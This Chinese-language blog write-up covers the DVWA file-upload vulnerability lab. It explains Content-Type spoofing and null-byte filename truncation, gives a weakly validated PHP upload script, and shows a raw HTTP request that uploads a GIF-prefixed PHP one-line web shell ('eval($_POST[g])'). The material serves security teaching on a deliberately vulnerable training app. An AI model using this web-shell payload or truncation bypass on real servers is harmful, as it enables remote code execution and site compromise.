【DVWA】Web漏洞实战之File Upload
File Upload
File Upload,即文件上传漏洞,一般的上传漏洞可能是未验证上传后缀 或者是验证上传后缀被bypass 或者是上传的文件验证了上传后缀但是文件名不重命名。
LOW
直接上传任意文件
MEDIUM
验证Content-Type,修改Content-Type为 image/jpeg直接绕过
HIGH
验证了后缀名、文件大小及限制了上传文件的文件头必须为图像类型。
利用条件:
在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为1.php%00.png。
高PHP版本会将%00转换成\0,高版本截断失效。
PHP 本地测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | <html> <body> <form action= "upload.php" method= "post" enctype= "multipart/form-data" > <label for = "file" >Filename:</label> <input type= "file" name= "file" id= "file" /> <br /> <input type= "submit" name= "submit" value= "Submit" /> </form> </body> </html> <?php $uploaded_name = $_FILES[ 'file' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); if ((($_FILES[ "file" ][ "type" ] == "image/gif" ) || ($_FILES[ "file" ][ "type" ] == "image/jpeg" ) || ($_FILES[ "file" ][ "type" ] == "image/pjpeg" )) && ($_FILES[ "file" ][ "size" ] < 20000)) { if ($_FILES[ "file" ][ "error" ] > 0) { echo "Error: " . $_FILES[ "file" ][ "error" ] . "<br />" ; } else { echo "houzhui: " .$uploaded_ext; echo "<br />" ; echo "<pre>" ; echo print_r($_FILES); echo "</pre>" ; move_uploaded_file($_FILES[ "file" ][ "tmp_name" ], "imag/" . $_FILES[ "file" ][ "name" ]); } } else { echo "Invalid file" ; } ?> |
测试记录:
上传1.php.jpg 拦截 00截断
服务端获取到的文件名$_FILES["file"]["name"]为1.php
00截断漏洞:
该漏洞存在于php的move_uploaded_file()函数中,这个函数一般在上传文件时被使用,用途是将上传的文件移动到新位置。
语法 1 move_uploaded_file ( string $filename , string $destination )
这次的漏洞就出现在$destination这个参数中,这个参数代表的是上传文件移动的最终目的地址。如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控,那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传。
POST /dede/upload.php HTTP/1.1 Host: 192.168.106.141 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------96431875028546 Content-Length: 3160 -----------------------------96431875028546 Content-Disposition: form-data; name="file"; filename="3.jpg" Content-Type: image/jpeg GIF89aP 111111111111111 <?php eval($_POST[g]);?> -----------------------------96431875028546 Content-Disposition: form-data; name="xxname" 1111111.php .jpg #进行截断 -----------------------------96431875028546 Content-Disposition: form-data; name="submit" Submit -----------------------------96431875028546--
关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。
参考链接:
文件上传之绕过 http://www.jianshu.com/p/4e2248c486ee
文件上传漏洞(绕过姿势) https://zhuanlan.zhihu.com/p/25220150
新手指南:DVWA-1.9全级别教程之File Upload http://www.freebuf.com/articles/web/119467.html
PHP任意文件上传漏洞(CVE-2015-2348)分析与利用 http://bobao.360.cn/news/detail/1383.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
· 张高兴的大模型开发实战:(一)使用 Selenium 进行网页爬虫